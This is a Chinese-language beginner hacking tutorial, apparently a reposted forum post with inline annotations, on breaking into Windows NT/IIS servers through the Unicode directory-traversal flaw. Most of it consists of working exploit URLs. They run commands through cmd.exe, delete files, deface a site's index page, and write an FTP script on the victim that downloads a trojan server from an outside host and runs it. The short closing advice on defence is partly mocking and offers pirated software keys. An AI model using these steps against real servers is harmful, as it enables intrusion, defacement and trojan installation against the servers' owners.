如何能成为一位Hacker？这是很多刚学习入侵的朋友经常会问起的问题。希望下面的文章能够给大家减少一些麻烦。
在开始学习之前，我先声明一点，下面的文章仅供大家做技术参考，请各位不要用在非法的地方！
一、工具选择
没有工具想入侵恐怕是很难的。既然Hacker的前辈已经留下了一大笔“财富”，我们这样的新手又岂有不用的道理？！
1.扫描工具类：RangeScan 、流光IV
2.Ftp服务器类：unicode 、iCmd
3.网页探测类：朔雪
4.字典生成类：xkey
二、《入侵入门》
对初学者来说，利用UNICODE漏洞入侵NT是最容易掌握的了。
1.寻找目标
通常我们首先利用扫描软件来寻找一个IP段上存在的IIS漏洞的所有目标主机。而实际上，我们经常使用的漏洞只是下面三种
（中文版）：http://ip/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+dir+c:\
或（英文版2000）：http://ip/scripts/..%c0%af../winnt/system32/cmd.exe?/c+dir+c:\
（英文版）：http://ip/scripts/..%c0%9c../winnt/system32/cmd.exe?/c+dir+c:\
按回车后如果目录被列出。既存在unicode漏洞。
2.查找IIS的发布目录
其实找到存在UNICODE漏洞的服务器并不是一件很容易的事，这就需要我们有耐心，有时运气也是必不可少的。这里我们假设已经找到符合条件的服务器，地址为ip。在浏览器里输入：http://ip/scripts..%c1%1c../winnt/system32/cmd.exe?/c+set（服务器版本不同时上面的命令会有所差别），回车运行。这时浏览器会返回一些信息（具体内容可能和下面的有所不同）：
CGI Error
The specified CGI application misbehaveed by not returning a complete
set of HTTP headers. The headers it did return are:
ALLUSERSPROFILE=E:\Documents and Settings\ALL Users
AUTH_TYPE=Negotiate
AUTH_USER=BADBOYCL-DQQZQQ\badboy
CASL_BASEDIR_ENV=E:\scan\CyberCop Scanner\casl
CommonProgramFiles=e:\Program Files\Common Files
COMPUTERNAME=BADBOYCL-DQQZQQ
ComSpec=E:\WINNT\system32\cmd.exe
CONTENT_LENGTH=0
GATEWAY_INTERFACE=CGI/1.1
HTTP_ACCEPT=*/*
HTTP+ACCEPT_LANGUAGE=zh-cn
HTTP_CONNECTION=Keep-Alive
HTTP_HOST=127.0.0.1
HTTP_USER_AGENT=Mozilla/4.0 (compatoible; MSIE 5.01; Windows NT 5.0)
HTTP_AUTHORIZATION=Negotiate
HTTP_ACCEPT_ENCODING=gzip,deflate
HTTP=off
OS=Windows_NT
Path=D:\WINNT\system32; D:\WINNT; D:\WINNT\System32\Wbem
PATH_TRANSLATED=d:\inetpub\wwwroot
上面PATH_TRANSLATED的值既为IIS的发布目录。
3.把cmd.exe复制到scripts的目录下，并改名为c.exe（名字可以自己定），避开原来的cmd.exe对特殊字符进行检查，输入：
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+copy+e:\winnt\system32\cmd.exe+e:\inetpub\scripts\c.exe
[注意：如果要上传“黑页”的话，根据经验，并不需要将cmd.exe改名拷贝到scripts下
4.为防止X为只读，不能够进行修改，还要先执行下面的代码，解除X文件的只读属性：
http://x.x.x.x/scripts/c.exe?/c+attrib+-r+-h+-a+d:\inetpub\wwwroot\X
这时的X就是可以写的属性了。
（简洁第一,Hacker准测第一条 -Tip From Hellis 2002/3/15）
同样，常用命令的执行形式也很类似。
（1）删除文件命令
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+del+c:\badboy.txt
（2）建立文件夹命令
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+md+c:\badboy
（3）删除空的文件夹命令
http://x.x.x.x/scripts/..%c1%1c../winnt/system32/cmd.exe?/c+rd+c:\badboy
5.运用echo+>命令简单的“黑掉”它的主页
在浏览器输入（假设它的默认主页是index.html ，我们上传的“黑页”内容是：Hacker Oldfriend by China！！！）
http://ip/scripts/c.exe?/c+echo+Hacker+Oldfriend+by+China+>+D:\inetpub\wwwroot\index.html
（语法错误，注意学习 English 啊 - Tip From Hellis 2002/3/15）
回车后，再用浏览器打开该网站的域名或IP，就会看见Hacker Oldfriend by China！！！的内容，说明你已经“黑掉”它的主页了。
6.使用Ftp服务器上传
（1）找一个Ftp服务器（别告诉我说你找不到呀，晕死了~，这样的软件很好找的！），将需要上传的木马等破坏性的东东上传到该Ftp服务器上。
假设这个Ftp服务器的域名是：home4u.china.com ,username:aaa（“aaa”为用户名）password:bbb（“bbb”为密码）
假设上传的木马的破坏性东东为冰河的服务端：srv.exe（千万不要用错呀！）
（2）在“黑掉”的远程主机编辑一个Ftp执行参数txt文件：
http://ip/scripts/ccc.exe?/c+echo+open+home4u.china.com>up.txt
http://ip/scripts/ccc.exe?/c+echo+open+aaa>>up.txt（注意在“>>”号前不要有空格）
http://ip/scripts/ccc.exe?/c+echo+open+bbb>>up.txt
http://ip/scripts/ccc.exe?/c+echo+get+srv.exe>>up.txt
http://ip/scripts/ccc.exe?/c+echo+quit>>up.txt
这样，目标服务器上就会生成名为：up.txt的文件了。
（3）在要“黑掉”的远程主机执行Ftp
http://ip/scripts/ccc.exe?/c+ftp+-s:up.txt
其实这个方法是在要“黑掉”的远程主机单完成一个自动Ftp登陆并下载文件的过程。
经过一段时间后，如果浏览器返回：（如果服务器版本不是英文版，返回信息会有所不同）
如下：
CGI Error
The specified CGI application misbehaved by not retutning a complete set HTTPheaders. The headers it did return are:
至此，网页更改宣告完成！
(早完成了，这个并不是黑网页必须的 - modified by Hellis 2002/3/15)
（重要提示：你的用户名aaa和密码bbb还在IIS日志里，我会去拿的，
然后黑你的个人主页，哈哈，TFTP 多好用啊！ - Alarm From Hellis 2002/3/15）
到现在第一篇文章讲解完毕（累死了~！）
过几天我将把第二篇文章：入侵技术从零开始——《入侵深入》帖出来！
相关安全连接：
1、注意更新您系统的最新补丁。
2、安装网络放火墙和杀毒软件。（建议如果使用国产软件，请购买正版！如使用国外的，就用D版的吧，什么没有注册号码？找我！）
3、删除scripts目录，禁止脚本运行！（注意：除非你确实需要这么做！）
（没有打补丁，可以利用其他目录的Unicode漏洞来md scripts目录嘛，
然后scripts就被授予默认权限，当然这是在web根目录里面的scripts映射（不是指物理目录）没有删除的情况下，
可见光删除这个目录还是不够的
文章转载地址:http://www.cnpaf.net/Class/hack/06101110491768234737.html
